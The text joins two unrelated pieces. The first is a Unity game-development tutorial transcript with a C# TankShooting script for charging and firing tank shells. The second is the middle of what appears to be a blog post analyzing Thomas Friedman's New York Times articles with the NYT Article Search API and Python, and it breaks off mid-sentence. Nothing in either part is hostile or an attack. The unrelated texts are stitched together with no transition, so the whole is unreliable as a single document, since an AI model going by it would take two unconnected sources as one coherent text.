30:48 - 30:49 We do want to just make sure it works, - 30:49 - 30:51 So I'm just going to hit Play. - 30:52 - 30:54 I'm just going to turn my volume down, or off. - 30:54 - 30:56 Actually I'm going to leave it on so you can see - 30:56 - 30:58 how it's meant to sound like. - 31:02 - 31:04 The keen-eared among you will notice that the mix - 31:04 - 31:08 is terrible, you can't really hear the charging and the shooting, - 31:08 - 31:10 we'll fix that at the end with audio mixing, - 31:10 - 31:12 so that's all going to sound great by the time we're finished - 31:12 - 31:13 so don't worry about that. - 31:13 - 31:15 But for now you should just be able to drive - 31:15 - 31:17 the tank around, charge up a shot, - 31:17 - 31:19 or do small shots. - 31:21 - 31:23 Or you can so what Mike likes to refer to as - 31:23 - 31:25 as death lotus, this move. - 31:28 - 31:30 But once you've done that the tank is complete. - 31:30 - 31:32 Once you've hit apply we're going to get rid - 31:32 - 31:34 of it out of the scene, it's finished, it's ready - 31:34 - 31:36 to be used by the game manager. - 31:36 - 31:38 So I'm going to select my tank, - 31:38 - 31:40 make sure you've updated, saved your prefab. - 31:41 - 31:43 Command-backspace to delete it, - 31:43 - 31:47 or delete on PC, save your scene once you've got rid of your tank. Phase 6 teaches you how to fire projectiles, and make a UI & Sound fx to accompany the mechanic. TankShooting Code snippet using UnityEngine; using UnityEngine.UI; public class TankShooting : MonoBehaviour { public int m_PlayerNumber = 1; // Used to identify the different players. public Rigidbody m_Shell; // Prefab of the shell. public Transform m_FireTransform; // A child of the tank where the shells are spawned. public Slider m_AimSlider; // A child of the tank that displays the current launch force. public AudioSource m_ShootingAudio; // Reference to the audio source used to play the shooting audio. NB: different to the movement audio source. public AudioClip m_ChargingClip; // Audio that plays when each shot is charging up. public AudioClip m_FireClip; // Audio that plays when each shot is fired. public float m_MinLaunchForce = 15f; // The force given to the shell if the fire button is not held. public float m_MaxLaunchForce = 30f; // The force given to the shell if the fire button is held for the max charge time. public float m_MaxChargeTime = 0.75f; // How long the shell can charge for before it is fired at max force. private string m_FireButton; // The input axis that is used for launching shells. private float m_CurrentLaunchForce; // The force that will be given to the shell when the fire button is released. private float m_ChargeSpeed; // How fast the launch force increases, based on the max charge time. private bool m_Fired; // Whether or not the shell has been launched with this button press. private void OnEnable() { // When the tank is turned on, reset the launch force and the UI m_CurrentLaunchForce = m_MinLaunchForce; m_AimSlider.value = m_MinLaunchForce; } private void Start () { // The fire axis is based on the player number. m_FireButton = "Fire" + m_PlayerNumber; // The rate that the launch force charges up is the range of possible forces by the max charge time. m_ChargeSpeed = (m_MaxLaunchForce - m_MinLaunchForce) / m_MaxChargeTime; } private void Update () { // The slider should have a default value of the minimum launch force. m_AimSlider.value = m_MinLaunchForce; // If the max force has been exceeded and the shell hasn't yet been launched... if (m_CurrentLaunchForce >= m_MaxLaunchForce && !m_Fired) { // ... use the max force and launch the shell. m_CurrentLaunchForce = m_MaxLaunchForce; Fire (); } // Otherwise, if the fire button has just started being pressed... else if (Input.GetButtonDown (m_FireButton)) { // ... reset the fired flag and reset the launch force. m_Fired = false; m_CurrentLaunchForce = m_MinLaunchForce; // Change the clip to the charging clip and start it playing. m_ShootingAudio.clip = m_ChargingClip; m_ShootingAudio.Play (); } // Otherwise, if the fire button is being held and the shell hasn't been launched yet... else if (Input.GetButton (m_FireButton) && !m_Fired) { // Increment the launch force and update the slider. m_CurrentLaunchForce += m_ChargeSpeed * Time.deltaTime; m_AimSlider.value = m_CurrentLaunchForce; } // Otherwise, if the fire button is released and the shell hasn't been launched yet... else if (Input.GetButtonUp (m_FireButton) && !m_Fired) { // ... launch the shell. Fire (); } } private void Fire () { // Set the fired flag so only Fire is only called once. m_Fired = true; // Create an instance of the shell and store a reference to it's rigidbody. Rigidbody shellInstance = Instantiate (m_Shell, m_FireTransform.position, m_FireTransform.rotation) as Rigidbody; // Set the shell's velocity to the launch force in the fire position's forward direction. shellInstance.velocity = m_CurrentLaunchForce * m_FireTransform.forward; ; // Change the clip to the firing clip and play it. m_ShootingAudio.clip = m_FireClip; m_ShootingAudio.Play (); // Reset the launch force. This is a precaution in case of missing button events. m_CurrentLaunchForce = m_MinLaunchForce; } } Related tutorials - The new UI (Lesson) - UI Slider (Lesson) - Audio Listeners & Sources (Lesson)
https://unity3d.com/learn/tutorials/projects/tanks-tutorial/firing-shells?playlist=20081
CC-MAIN-2018-43
refinedweb
9,291
82.17
In my last post I was talking about my idea to use the jqGrid to create a grid based on the data model. In this post I want to take the existing jqTGrid and go one step further. – What if we want to hide a column? What about the column header text? The first step what I did for that was to change Linq2Sql to the Entity Framework. That is actually not a big deal and I was surprised that everything worked so straight but when I saw the page I figured out that there are new columns. As you can see there are now -“EntityState” and “EntityKey”.Where do they come from? Ya right if you look at the HaakOverflowModel.designer.cs you can see that the entities have a base class “EntityObject” which contains the two properties. As you can see we need to hide these columns because otherwise if we use EF we always would have these columns in our grid. My idea was to make use of the DataAnnotations where you have the “ScaffoldColumnAttribute” and the “DisplayNameAttribute”. So I ended up making a class called “Question.cs” which extends the EF-Question class and a second class “QuestionMetaData” to associate the DataAnnotation attributes. [MetadataType(typeof(QuestionMetaData))] public partial class Question { } public class QuestionMetaData { [ScaffoldColumn(true)] [DisplayName(“My Id column“)] public int Id { get; set; } First I thought I will check with reflection if there are any attributes and just hide the columns but then I remembered that Microsoft uses the DataAnnotation also for the HtmlHelper to create the form elements: <%:Html.EditorForModel(Model) %> So I downloaded the ASP.NET MVC source code and found following lines to check if the data gets rendered or not: metadata.ShowForDisplay && metadata.ModelType != typeof(EntityState) && !metadata.IsComplexType The next step was now to check our metadata model if there are such properties and based on it show the columns or not. For that I used the “GetMetadataForProperty”method: ModelMetadata metadata = ModelMetadataProviders.Current.GetMetadataForProperty(() => null, objType, property.Name); if (Guard.IsValidColumn(metadata)) { if (metadata.DisplayName != null) displayName = metadata.DisplayName; sb.AppendFormat(“‘{0}’,“, displayName); } After that I thought how we can configure the column width. So I came up with the idea to create an own “JqTGriddAttribute” – this is really easy – you just have to inherit from the “Attribute” class and give the properties you want – in our example “ColumnWidth”. The bigger challenge was now to read the attributes because we are passing the “Question” class which is associated with the “QuestionMetaData” class and which holds the data annotiations. But I found a great post from David Ebbo where he shows how to access access the attributes: TypeDescriptor.AddProvider(new AssociatedMetadataTypeTypeDescriptionProvider(objType),objType); var propertyList = TypeDescriptor.GetProperties(objType).Cast<PropertyDescriptor>().Where(w=>w.Name==propertyName).Single(); With the usage of the “DataAnnotations” you have now the full control of your data model and the rendering of the grid. Here is the new source code to play around. My next idea is now to have a base controller which implements already the controller method for the grid so that you only would need to place the grid on the page! – You can find that here. Trackbacks/Pingbacks
https://blog.lieberlieber.com/2010/07/08/asp-net-mvc-and-a-generic-jqquery-grid-jqtgrid-part-2/
CC-MAIN-2019-30
refinedweb
534
55.84
Syntax check not catching error Discussion in 'VHDL' started by marc rei, Oct 17, 2006. Want to reply to this thread or ask your own question?It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum. - Similar Threads catching syntax errors via excepthook?Hari Sekhon, Jul 3, 2006, in forum: Python - Replies: - 1 - Views: - 449 - Alex Martelli - Jul 3, 2006 why does catching errors that aren't thrown give syntax errors?yawnmoth, Feb 16, 2009, in forum: Java - Replies: - 97 - Views: - 5,005 - Bent C Dalager - Feb 27, 2009 Syntax bug, in 1.8.5? return not (some expr) <-- syntax error vsreturn (not (some expr)) <-- fineGood Night Moon, Jul 22, 2007, in forum: Ruby - Replies: - 9 - Views: - 401 - Rick DeNatale - Jul 25, 2007 How to check the perl's syntax error before runing the code?sonet, Jun 14, 2007, in forum: Perl Misc - Replies: - 6 - Views: - 235 - Jürgen Exner - Jun 17, 2007 Syntax error? What syntax error? Assignment fo default values?Mark Richards, Nov 18, 2007, in forum: Perl Misc - Replies: - 3 - Views: - 393 - Tad McClellan - Nov 18, 2007
http://www.thecodingforums.com/threads/syntax-check-not-catching-error.374737/
CC-MAIN-2015-32
refinedweb
202
80.72
It is widely agreed that technical interviews for product-based companies, such as Microsoft and Amazon, can be difficult to pass. You require lots of practice with competitive problems and technical knowledge to get into your dream company. To help you with the same, here we present one such competitive problem that is “Largest Rectangle in Histogram” mostly asked during interviews for Facebook, Amazon, and Google. Here we understand the problem statement and basic approaches to solving this problem using their algorithms and implementation. So, let's begin! Problem Statement Given an array of integer heights representing the histogram’s bar height where the width of each bar is 1, return the area of the largest rectangle in the histogram. Note that a histogram is a graphical display of numerical data using rectangles of different heights. The rectangles are arranged in the same order as the corresponding elements in the array. For example: Heights = [2, 1, 5, 6, 2, 3] Output: 10 Solutions Below are three approaches by which you can find the largest rectangle in the histogram. Let us understand in detail below: Method 1: Using the brute force approach The key idea to take away is that the height of the maximum area between any two bars will always be bounded by the height of the shortest bar lying between them. Below is an image demonstrating this concept. Algorithm: We first create a variable, ‘maximumArea’, and assign it the value of the maximum area of the histogram. Later, run two nested loops: one counting from 0 until i = N, and the other counting from j = 0 to j = N. For each ‘jth’ iteration of this loop, we count ‘k’ from i = k until k = j and find the height of the lowest bar among them. The area of the histogram would be ‘mininumHeight * (j-i+1)’ Maximize ‘maximumArea’ Time Complexity The algorithm's time complexity is O(N^3), where N is the size of the array. Similarly, the space complexity of the above problem is O(1) as no extra space is required while using this approach. Method 2: Using the divide & conquer approach The divide-and-conquer algorithm is designed to avoid traversing through every element in two arrays. Therefore, instead of traversing through every element from A[i] and A[j], you can apply the divide and conquer algorithm as shown in the below image. If you clearly observe the above image, you’ll identify the below two outcomes: - The rectangle with the greatest area has a width and a height equal to the shortest bar. - The area of the rectangle formed on the right and left side of the minimum height As you have divided your problem, you need to conquer the solution simply depending on the recursion. Time Complexity The time complexity for the divide and conquer approach for finding the largest rectangle in the histogram is O(NlogN), where N is the size of the array. similarly, the space complexity of the approach is O(N) as the approach uses the extra array to find the area. Method 3: Using the stack data structure The concept is similar to stack-based searching for the Next Greater element. Instead of looking for the next larger element, we will use two arrays left[] and right[] to represent the smaller elements on the left and right respectively. For a better understanding, have a look at the below image: Algorithm: Initialize stack ‘S’ and push the top index of A[] onto ‘S’ Traverse via A[] and compare the height of each element with the height of each element on top of ‘S’ If A[i]>= A[S.top()], then push it into the S Else A[i] <= A[S.top()], then pop the elements until A[i]>= A[S.top()] This ensures that A[S.top()] stays at its maximum height as elements are being added to it from above and below Lastly, push i for every item currently on S into the stack, followed by popping from S until S has no elements left in it. Return maximum element C++ Code for Finding Largest Rectangle in Histogram #include #include #include #include #include //For using min/max function. //Above are the libraries that has been used. using namespace std; class largestRectangleArea { public: int largestAreaInHistogram(vector<int>& histogram) { int n = histogram.size(); //It stores the size of histogram vector. if(n == 0) return 0; // Create an empty stack. The stack holds indexes of histogram vector. stack<int> st; st.push(-1); int maxarea=0; //Iterating over the histogram vector for finding the maximum area. for(int i=0;i<n;i++){ //st.size()>1 because -1 is stored initially and size of stack is 1 while(st.size()!=1 && histogram[st.top()]>=histogram[i]){ int len = histogram[st.top()]; st.pop(); //computing the width of the rectangle forming in histogram int width = i-st.top()-1; // if the area (len*width) of the rectangle forming in histogram is greater than previous maxarea then maxarea gets updated to the greater area maxarea=max(maxarea,len*width); } //Pushing index in stack it helps in calculating width st.push(i); } //Calculating area for all the elements left in stack if it is greater than previous maxarea then update maxarea while(st.size()!=1){ int in=st.top(); st.pop(); int w = n-st.top() -1; int h = histogram[in]; maxarea = max(maxarea,w*h); } return maxarea; } }; int main() { vector<int>hist{5, 6, 4, 3, 7, 5}; largestRectangleArea ob; cout << "Maximum area is " << ob.largestAreaInHistogram(hist); return 0; } Java Code for Finding Largest Rectangle in Histogram import java.util.Stack; public class largestAreaInHistogram { private static int largestAreaInHistogram(int[] heights){ Stack<Integer> st=new Stack<>(); st.push(-1); int maxArea=0; //Iterating over the height array for finding the max area. for(int i=0;i<heights.length;i++){ //Height of top element of stack should be greater than current element height while(st.size()!=1 && st.peek()!=-1 && heights[st.peek()]>=heights[i]){ int currheight=heights[st.peek()]; st.pop(); //Calculating the width of the rectangle int width=i-st.peek()-1; //if currheight*width (Area) is greater than previous maxArea // then update maxArea maxArea=Math.max(maxArea,currheight*width); } //Pushing each element in stack to calculate area st.push(i); } //Computing area for all the elements left in stack while(st.size()!=1){ int idx=st.pop(); int w=heights.length-st.peek()-1; int h=heights[idx]; maxArea=Math.max(maxArea,w*h); } return maxArea; } public static void main(String[] args) { int[] height={5, 6, 4, 3, 7, 5}; System.out.println("Maximum area is "+largestAreaInHistogram(height)); } } Python Code for Finding Largest Rectangle in Histogram def largestAreaInHistogram(height): stack = [-1] maxArea = 0 for i in range(len(height)): while stack[-1] != -1 and height[stack[-1]] >= height[i]: currentHeight = height[stack.pop()] currentWidth = i - stack[-1] - 1 maxArea = max(maxArea, currentHeight * currentWidth) stack.append(i) while stack[-1] != -1: currentHeight = height[stack.pop()] currentWidth = len(height) - stack[-1] - 1 maxArea = max(maxArea, currentHeight * currentWidth) return maxArea height = [5, 6, 4, 3, 7, 5] print("Maximum area is", largestAreaInHistogram(height)) Output Maximum area is 18 Time Complexity The time complexity to find the largest rectangle in the histogram using stack is O(N) where N is the size of the array. Similarly, the space complexity is O(N) as we make use of stack data structure to store the elements. Comparison of Different Solutions Conclusion Practicing competitive problems in advance gives you a cutting edge while interviewing with any company. It helps you feel comfortable and present yourself with the best possible knowledge you carry. To help with the same, we discuss one such competitive problem to find the largest rectangle in histogram along with three different approaches and its algorithm. It is recommended to get yourself prepared with all the necessary practice you require to get into your dream company and if you get stuck anywhere, our live coding help tutors are always ready to help you.
https://favtutor.com/blogs/largest-reactangle-in-histogram
CC-MAIN-2022-33
refinedweb
1,339
62.88
Although Gutenberg is put together with React, the code we’re writing to make custom blocks isn’t. It certainly resembles a React component though, so I think it’s useful to have a little play to get familiar with this sort of approach. There’s been a lot of reading in this series so far, so let’s roll-up our sleeves and make something cool. Article Series:Article Series: Let’s make an “About Me” componentLet’s make an “About Me” component We’re going to make a single React component that updates the background color of a page and the intro text based on data you input into a couple of fields. “I thought this was supposed to be cool,” I hear you all mutter. I’ll admit, I may have oversold it, but we’re going to learn some core concepts of state-driven JavaScript which will come in handy when we dig into our Gutenberg block. For reference, this is what we’re going to end up with: Getting startedGetting started The first thing we’re going to do is fire up CodePen. CodePen can be used for free, so go head over there and create a new Pen. Next, we’re going to pull in some JavaScript dependencies. There are three editor screens—find the JS screen and click the settings cog. This will open up a Pen Settings modal where you’ll find the section titled Add External Scripts/Pens. Right at the bottom, theres a Quick-add select menu. Go ahead and open that up. From the menu, select React. Once that’s selected, open the menu and select ReactDOM. You’ll see that this has pre-filled some text boxes. Lastly, we need to enable our ES6 code, so at the menu titled JavaScript Preprocessor, select Babel. Now, go ahead and click the big Save & Close button. What we’ve done there is pull the main React JS library and ReactDOM library. These will enable us to dive in and write our code, which is our next step. Setup our CSSSetup our CSS Let’s make it look cool. First up though, let’s setup our CSS editor. The first thing we’re going to do is set it up to compile Sass for us. Just like we did with the JS editor, click on the settings cog which will bring up the Pen Settings modal again—this time with the CSS settings. At the top, there’s a CSS Preprocessor menu. Go ahead and select SCSS from there. When that’s done, go down to the Add External Stylesheets/Pens and paste the following three links into separate text-boxes: Those three in order give us a reset, a fancy font and some helpful form styles. Now that they’re all set, go ahead and click the “Save & Close” button again. Adding a bit of styleAdding a bit of style We’re all setup so this step should be easy. Paste the following Sass into the CSS editor: :root { --text-color: #f3f3f3; } * { box-sizing: border-box; } html { height: 100%; font-size: 16px; } body { height: 100%; position: relative; font-size: 1rem; line-height: 1.4; font-family: "Work Sans", sans-serif; font-weight: 300; background: #f3f3f3; color: #232323; } .about { width: 100%; height: 100%; position: absolute; top: 0; left: 0; color: var(--text-color); transition: all 2000ms ease-in-out; &__inner { display: flex; flex-direction: column; height: 100%; margin: 0 auto; padding: 1.2rem; } &__content { display: flex; flex-direction: column; justify-content: center; align-items: center; flex: 1 1 auto; font-size: 3rem; line-height: 1.2; > * { max-width: 30ch; } } &__form { display: flex; flex-direction: column; align-items: center; padding: 2rem 0; width: 100%; max-width: 60rem; margin: 0 auto; @media(min-width: 32rem) { flex-direction: row; justify-content: space-between; padding: 2rem; } > * { width: 15rem; } > * + * { margin: 1rem 0 0 0; @media(min-width: 32rem) { margin: 0; } } label { display: block; } } } // Boilerform overrides .c-select-field { &, &__menu { width: 100%; } } .c-input-field { width: 100%; } .c-label { color: var(--text-color); } That’s a big ol’ chunk of CSS, and it’ll look like nothing has really happened, but it’s all good—we’re not going to have to worry about CSS for the rest of this section. Digging into ReactDigging into React The first thing we’re going to do is give React something to latch on to. Paste this into the HTML editor of your Pen: <div id="root"></div> That’s it for HTML—you can go ahead and maximize your JS editor so we’ve got complete focus. Let’s start our component code, by creating a new instance of a React component by writing the following JavaScript: class AboutMe extends React.Component { } What that code is doing is creating a new AboutMe component and extending React’s Component class, which gives us a load of code and tooling for free. Right, so we’ve got a class, and now we need to construct it! Add the following code, inside the brackets: constructor(props) { super(props); let self = this; }; We’ve got a few things going on here, so I’ll explain each: constructor is the method that’s called when you write new AboutMe(), or if you write <AboutMe /> in your JSX. This constructs the object. The props parameter is something you’ll see a lot in React. This is the collection of properties that are passed into the component. For example: if you wrote <AboutMe name="Andy" />, you’d be able to access it in your constructor with props.name. super is how we tell the class that we’ve extended to construct with its own constructor. You’ll see we’re also passing the props up to it in case any parent components need to access them. Finally let self = this is a way of controlling the scope of this. Remember, because we’re using let, self will only be available in the constructor function. thisand Object Prototypes and Scope & Closures. Good stuff, I promise. Now we’ve covered the constructor, let’s add some more code to it. After the let self = this; line, paste the following code: self.availableColors = [ { "name": "Red", "value": "#ca3814" }, { "name": "Blue", "value": "#0086cc" }, { "name": "Green", "value": "#3aa22b" } ]; What we’ve got there is an array of objects that define our options for picking your favorite color. Go ahead and add your own if it’s not already there! Your class definition and constructor should now look like this: class AboutMe extends React.Component { constructor(props) { super(props); let self = this; // Set a list of available colors that render in the select menu self.availableColors = [ { "name": "Red", "value": "#ca3814" }, { "name": "Blue", "value": "#0086cc" }, { "name": "Green", "value": "#3aa22b" } ]; }; } Pretty straightforward so far, right? Let’s move on and set some initial values to our reactive state. Add the following after the closing of self.availableColors: // Set our initial reactive state values self.state = { name: 'Foo', color: self.availableColors[0].value }; This initial setting of state enables our component to render both a name and a color on load, which prevents it from looking broken. Next, we’ll add our render function. This is a pure function, which does nothing but render the component based on the initial state or any state changes during the component’s lifecycle. You may have guessed already, but this is where the main body of our JSX lives. Now, because there’s quite a lot of markup in this single component, we’re going to copy the whole lot into our function. Add the following under your constructor: render() { let self = this; return ( <main className="about" style={ { background: self.state.color } }> <section className="about__inner"> <article className="about__content"> { self.state.name ? <p>Hello there. My name is { self.state.name }, and my favourite color is { self.getActiveColorName() }</p> : null } </article> <form className="[ about__form ] [ boilerform ]"> <div> <label className="c-label" htmlFor="name_field">Your name</label> <input className="c-input-field" type="text" id="name_field" value={ self.state.name } onChange={ self.updateName.bind(self) } /> </div> <div> <label className="c-label" htmlFor="color_field">Your favourite color</label> <div className="c-select-field"> <select className="c-select-field__menu" value={ self.state.color } onChange={ self.updateColor.bind(self) } { self.availableColors.map((color, index) => { return ( <option key={ index } value={ color.value }>{ color.name }</option> ); })} </select> <span className="c-select-field__decor" aria-▾</span> </div> </div> </form> </section> </main> ); }; You may be thinking something like: “Holy cow, there’s a lot going on here.” Let’s dissect it, so don’t worry about copying code for a bit—I’ll let you know where we’re going to do that again. Let’s just focus on some key bits for now. In JSX, you need to return a single element, which can have child elements. Because all of our code is wrapped in a <main> tag, we’re all good there. On that <main> tag, you’ll see we have an expression in an attribute, like we covered in Part 2. This expression sets the background color as the current active color that’s set in our state. This will update like magic when a user changes their color choice without us having to write another line of code for it in this render function. Pretty cool, huh? Inside the <article class="about__content"> element, you’ll notice this: { self.state.name ? <p>Hello there. My name is { self.state.name }, and my favourite color is { self.getActiveColorName() }</p> : null } This ternary operator checks to see if there’s a name set and renders either a sentence containing the name or null. Returning null in JSX is how you tell it to render nothing to the client. Also related to this snippet: we were able to run this ternary operator within our JSX because we created an expression by opening some brackets. It’s a really useful way of sprinkling small, simple bits of display logic within your render function. Next up, let’s look at an event binding: <input className="c-input-field" type="text" id="name_field" value={ self.state.name } onChange={ self.updateName.bind(self) } /> If you don’t bind an event to your input field, it’ll be read only. Don’t panic about forgetting though. React helpfully warns you in your console. Remember, self is equal to this, so what we’re doing is attaching the updateName function to the input’s onChange event, but we’re also binding self, so that when we’re within the updateName function, this will equal AboutMe, which is our component. The last thing we’re going to look at in the render function is loops. Here’s the snippet that renders the color menu: <select className="c-select-field__menu" value={ self.state.color } onChange={ self.updateColor.bind(self) } { self.availableColors.map((color, index) => { return ( <option key={ index } value={ color.value }>{ color.name }</option> ); }) } </select> The value and change setup is the same as the above <input /> element, so we’ll ignore them and dive straight in to the loop. What we’ve done is open up an expression where we run a pretty standard Array Map function, but, importantly, it returns JSX in each iteration, which allows each option to render with the rest of the JSX. Wiring it all upWiring it all up Now that we’ve got our core aspects of the component running, we need to wire it up. You’ll notice that your CodePen isn’t doing anything at the moment. That’s because of two things: - We haven’t attached the component to the DOM yet - We haven’t written any methods to make it interactive Let’s start with the former and add our change event handlers. Add the following underneath your constructor function: updateName(evt) { let self = this; self.setState({ name: evt.target.value }) }; updateColor(evt) { let self = this; self.setState({ color: evt.target.value }) }; These two functions handle the onChange events of the <select> and <input> and set their values in state using React’s setState function. Now that the values are in state, anything that is subscribed to them will update automatically. This means that the ternary statement that renders your name and the background color will change in realtime as you type/select. Awesome. right? Now, it would be recommended to make your code more DRY by combining these two as one change event handler that updates the relevant state. For this series though, let’s keep things simple and more understandable. 😀 Next up, let’s add the last method to our component. Add the following under your recently added update methods: // Return active color name from available colors, based on state value getActiveColorName() { let self = this; return self.availableColors.filter(color => color.value === self.state.color)[0].name; }; This function uses one of my favorite JavaScript array methods: filter. With ES6, we can cherry pick array items based on their object value in one line, which is powerful stuff. With that power, we can pick the currently active availableColors item’s human-readable name and return it back. Attaching the component to the DOMAttaching the component to the DOM The last thing we’re going to do is attach our component to the DOM, using ReactDOM. What we’re doing is saying, “Hey browser, fetch me the <div id="root"> element and render this React component in it.” ReactDOM is doing all the magic that makes that possible. ReactDOM is a really smart package that takes changes in your dynamic React components, calculates what needs to be changed in the DOM and applies those changes in the most efficient possible way. With ReactDOM’s renderToString() method, you can also render your React components to a static string, which can then be inserted to your page with your server-side code. What’s smart about this is that references are added so that if your front-end picks up some server-rendered React, it’ll work out which components are needed and make the whole chunk of static markup dynamic automatically. Pretty damn smart, huh? Anyway, back to our Pen. Add this right at the bottom of your JS editor: // Attach our component to the <div id="root"> element ReactDOM.render(<AboutMe />, document.getElementById('root')); Now, you’ll notice that your preview window has suddenly come alive! Congratulations — you just wrote a React component 🎉 See the Pen About Me React Component by Andy Bell (@hankchizlja) on CodePen. Wrapping upWrapping up In this part, you’ve learned about reactive, component JavaScript by writing a React component. This is relevant to your learning because custom Gutenberg blocks follow a very similar setup to a React component. Now that you’ve got a better understanding of how a React component works, you should be able to understand how a custom Gutenberg block works too. post_contentcolumn. Using React on the front-end of a WordPress site to build something like this would be separate from what we will be doing in this series. Next up in this series, we’re going to edit our WordPress theme so that we can build our custom Gutenberg block. Can I just say here that this whole Gutenberg series is just amazing? I haven’t commented on all the articles because it’d look cheap – but every day I have something new to look forward to :) Thanks Max! I hope you’ve found the series useful :) My CodePen wasn’t working. Looking at the Console I discovered that I had loaded the react-dom.development.js first and then the react.development.js. As soon as I put the react.development.js external resource on top, everything worked fine. Also, I discovered that in order to write comments inside of the render( ) function you need to enclose it with curly braces.D For example: {/* Build a listbox using the JavaScript Array map( ) function */} Yeh, within your JSX they need to be in a {}pair, because they create an expression. Good tip for others that might get stuck though, so thank you :)
https://css-tricks.com/learning-gutenberg-5-react-101/
CC-MAIN-2022-27
refinedweb
2,676
63.7
Unable to get ldap attribute Hi everyone, ! I'm currently trying to store in a Hashmap object the value and key of the ldapAttributeList returned by my ldap connector using the the output operation window. Here is a piece of code doing this thing : def temp_list = [:] ldapAttributeList[0].each { temp_list.put((it.getName()), (it.getValue())) } return new HashMap<String, String>(temp_list) So to resume, I'm getting every attribute form the output of my ldap connector, storing them in a hasmap object and returning it. When I test this piece of code in a test connector it return that : So correct me if I'm wrong but this piece of code is actually working. Now when I'm trying to use the same connector but with filled-by-variables fields such as a login and password field the connector fails. Key elements : -- I'm currently using the Bonita Community pack (version 6.2.6), in a windows Seven professional 64 bits. -- The problem is not linked with a bad credentials. -- My code works when I only try to invoke the ldapAttribute.getName() like this : def temp_list = [:] ldapAttributeList[0].each { temp_list.put((it.getName()), (it.getName())) } return new HashMap<String, String>(temp_list) -- But when I try to use the piece of code in the top of the question, the connector fails. -- I tried to get the exception thrown by the ldapAttribute.getValue() methods, here is what I get : So it is confirmed that the getValue() method throw the exception, I've checked the source code and i don't know what's wrong. -- I even tried to clone the ldapAttribute in order not to use the getValue() method, but it doesn't work as it seems that the clone() method has not been implemented, so I'm completely stucked and i look forward to hear you suggestions. Thank you for all !
https://community.bonitasoft.com/questions-and-answers/unable-get-ldap-attribute
CC-MAIN-2021-04
refinedweb
310
62.27
Fried. Data Quality Since v2 of the NYT Article Search API was unfamiliar to me (they changed enough from v1 that my old code no longer ran), I used a bare-bones search query: “Thomas L. Friedman” –— without filtering. This was a mistake. As I should have caught beforehand, I actually retrieved all articles mentioning Friedman anywhere in the headline, byline, or body text, instead of only those articles written by Friedman. So I got many results like this: By MAUREEN DOWD; Thomas L. Friedman is on leave until October, writing a book By Fareed Zakaria: In the global economy, says Thomas L. Friedman, intellectual work could be transmitted to intellectual workers anywhere on earth. To the Editor: Thomas L. Friedman (column, Jan. 5) says he has ‘‘no problem with a war for oil,’’ granting certain provisions. No problem with killing or maiming innocent civilians for oil? Although I’m quite curious about the many Letters to the Editor taking Friedman to task, such text doesn’t belong in a Friedman-only corpus, nor does Maureen Dowd’s tart wordplay or Fareed Zakaria’s whatever-it-is-that-he-writes. I also noticed that I wasn’t able to get the article text for ~1300 results on account of missing/broken URLs in the API response and weird/broken HTML at the given URL (no parser is perfect), rendering them effectively useless in a collection of Friedman text. As it turned out, almost all of those without full-text were neither news nor op-ed articles: >>> df['type_of_material'][df['full_text'].isnull()].value_counts() Summary 441 Letter 348 Blog 186 List 168 Op-Ed 99 News 85 Editors' Note 7 Schedule 5 Obituary; Biography 2 Editorial 2 Article 1 Interview 1 Review 1 Obituary 1 Wait a sec, why is an obituary in here? Friedman is (physically, if not intellectually) alive and well! See for yourself —– this was definitely cruft, as were many of the other results. And they shouldn’t be in there. So, I filtered for articles actually written by Thomas L. Friedman for which I had managed to scrape the full text. After imposing this important requirement, the type_of_material breakdown looked much better: >>> df['type_of_material'].value_counts() News 1757 Op-Ed 1640 An Analysis; News Analysis 96 An Analysis 53 Series 11 Biography 10 Special Report 3 Interview 3 An Analysis; Economic Analysis 2 Editorial 2 Review 2 Chronology 1 Op-Ed; Series 1 Biography; Series 1 Special Report; Chronology 1 Roughly half news, half op-eds, with a smattering of analyses and such over the years. Sounds like Friedman! As a final sanity check, though, I wanted to see how the above breakdown was distributed over time. So, I grouped results by year of publication and type of material, then plotted them together using matplotlib (Python’s de facto standard plotting library) and, just for kicks, prettyplotlib (a recently-released package that makes plots pretty). Here’s what I got: It is indeed pretty, but does it make sense? Yes, if you know a bit about Friedman’s career at The New York Times. [Insert comment about how domain expertise matters in data science, à la Drew Conway’s venn diagram…] Friedman was hired in 1981 and sent to Beirut to cover the Lebanese Civil War; he won a Pulitzer prize for his war-time coverage in 1983. The following year he was transferred to Jerusalem, where he served as Bureau Chief until 1988. In that year, he won another Pulitzer for his reporting on international affairs —– and wrote a book about it. Friedman moved on to American foreign policy, George Bush’s Secretary of State, and then the White House itself. In 1995 he became a foreign affairs columnist writing in the Op-Eds section. In 2002 he won yet another Pulitzer, this one for his commentary on the global threat posed by terrorism. And he’s been yammering away ever since. The big change from News to Op-Ed is evident in the plot, but what’s with the lack of articles in 1988? I saw nothing amiss in the data, so it may be that Friedman was simply too busy receiving Pulitzers and writing his first book to report the news that year. *shrug* I also wondered about the overall number of articles, so I did a back-of-the-envelope calculation: Given that he’s a twice-weekly columnist (and accounting for holidays/vacations), we’d expect upwards of 100 op-eds per year. Indeed, that is roughly what we see. He was especially productive in 2012, probably owing to a presidential election shitstorm, but seems on track for an average year in 2013. Reasonably confident that I’d covered most of Friedman’s work at the NYT and that all my documents were what I thought they were, I started to dig deeper. Corpus Stats Before diving into natural language processing of the text, I wanted to explore the data at a corpus-wide scale. I already checked the number of articles by type and by year to verify data quality, but what else was there? As I mentioned in Pt. 1, the NYT API includes lots of metadata with articles. The keywords field is a list of subjects and entities (locations, people, organizations) included in a given article; aggregating counts from all such lists would probably give a good idea of what Friedman has been writing about for all these years, right? To accomplish this, I used a convenient datatype in Python’s collections module: from collections import Counter glocations = []; persons = []; subjects = []; organizations = [] for doc in friedman_docs: if not doc.get('keywords'): continue for keyword in doc['keywords']: if keyword['name'] == 'glocations': glocations.append(keyword.get('value')) elif keyword['name'] == 'persons': persons.append(keyword.get('value')) elif keyword['name'] == 'subject': subjects.append(keyword.get('value')) elif keyword['name'] == 'organizations': organizations.append(keyword.get('value')) glocations_counter = Counter(glocations) persons_counter = Counter(persons) subjects_counter = Counter(subjects) organizations_counter = Counter(organizations) For example, here are Friedman’s top ten subjects, given as NAME (count): UNITED STATES INTERNATIONAL RELATIONS (1396) INTERNATIONAL RELATIONS (605) PALESTINIANS (591) UNITED STATES ARMAMENT AND DEFENSE (496) POLITICS AND GOVERNMENT (425) ARMAMENT, DEFENSE AND MILITARY FORCES (420) TERRORISM (333) ECONOMIC CONDITIONS AND TRENDS (286) INTERNATIONAL TRADE AND WORLD MARKET (226) CIVIL WAR AND GUERRILLA WARFARE (174) Considering his bio, this 